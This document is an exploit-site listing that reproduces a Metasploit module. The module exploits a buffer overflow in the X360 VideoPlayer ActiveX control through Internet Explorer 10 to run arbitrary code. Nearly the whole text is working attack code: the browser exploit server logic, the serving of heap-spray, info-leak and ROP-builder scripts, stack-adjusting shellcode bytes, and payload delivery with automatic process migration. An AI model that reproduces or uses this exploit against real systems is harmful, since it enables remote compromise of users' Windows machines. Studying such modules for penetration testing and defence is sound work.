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X360 VideoPlayer ActiveX Control Buffer Overflow Exploit

Author
metasploit
Risk
[
Security Risk High
]
0day-ID
0day-ID-23299
Category
remote exploits
Date add
17-02-2015
Platform
windows
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::BrowserExploitServer
 
  def initialize(info={})
    super(update_info(info,
      'Name'                => "X360 VideoPlayer ActiveX Control Buffer Overflow",
      'Description'         => %q{
        This module exploits a buffer overflow in the VideoPlayer.ocx ActiveX installed with the
        X360 Software. By setting an overly long value to 'ConvertFile()',an attacker can overrun
        a .data buffer to bypass ASLR/DEP and finally execute arbitrary code.
      },
      'License'             => MSF_LICENSE,
      'Author'              =>
        [
          'Rh0',     # vulnerability discovery and exploit, all the hard work
          'juan vazquez' # msf module
        ],
      'References'          =>
        [
          ['EDB', '35948'],
          ['URL', 'https://rh0dev.github.io/blog/2015/fun-with-info-leaks/']
        ],
      'Payload'             =>
        {
          'Space'          => 1024,
          'DisableNops'    => true,
          'PrependEncoder' => stack_adjust
        },
      'DefaultOptions'      =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'            => 'win',
      'Arch'                => ARCH_X86,
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :clsid   => "{4B3476C6-185A-4D19-BB09-718B565FA67B}",
          :os_name => OperatingSystems::Match::WINDOWS,
          :ua_name => Msf::HttpClients::IE,
          :ua_ver  => '10.0'
        },
      'Targets'             =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'          => false,
      'DisclosureDate'      => "Jan 30 2015",
      'DefaultTarget'       => 0))
  end
 
  def stack_adjust
    adjust = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
    adjust << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
    adjust << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
    adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
 
    adjust
  end
 
  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")
 
    case request.uri
    when /exploit.js/
      print_status("Sending exploit.js...")
      headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}
      send_exploit_html(cli, exploit_template(cli, target_info), headers)
    when /sprayer.js/
      print_status("Sending sprayer.js...")
      headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}
      send_exploit_html(cli, sprayer_template(cli, target_info), headers)
    when /informer.js/
      print_status("Sending informer.js...")
      headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}
      send_exploit_html(cli, informer_template(cli, target_info), headers)
    when /rop_builder.js/
      print_status("Sending rop_builder.js...")
      headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}
      send_exploit_html(cli, rop_builder_template(cli, target_info), headers)
    else
      print_status("Sending main.html...")
      headers = {'Pragma' => 'no-cache', 'Content-Type'=>'text/html'}
      send_exploit_html(cli, main_template(cli, target_info), headers)
    end
  end
 
  def main_template(cli, target_info)
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'main.html')
    template = ''
    File.open(path, 'rb') { |f| template = strip_comments(f.read) }
 
    return template, binding()
  end
 
  def exploit_template(cli, target_info)
    shellcode = Rex::Text.to_hex(get_payload(cli, target_info))
 
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'exploit.js')
    template = ''
    File.open(path, 'rb') { |f| template = strip_comments(f.read) }
 
    return template, binding()
  end
 
  def sprayer_template(cli, target_info)
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'sprayer.js')
    template = ''
    File.open(path, 'rb') { |f| template = strip_comments(f.read) }
 
    return template, binding()
  end
 
  def informer_template(cli, target_info)
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'informer.js')
    template = ''
    File.open(path, 'rb') { |f| template = strip_comments(f.read) }
 
    return template, binding()
  end
 
  def rop_builder_template(cli, target_info)
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'rop_builder.js')
    template = ''
    File.open(path, 'rb') { |f| template = strip_comments(f.read) }
 
    return template, binding()
  end
 
  def strip_comments(input)
    input.gsub(/\/\/.*$/, '')
  end
 
end

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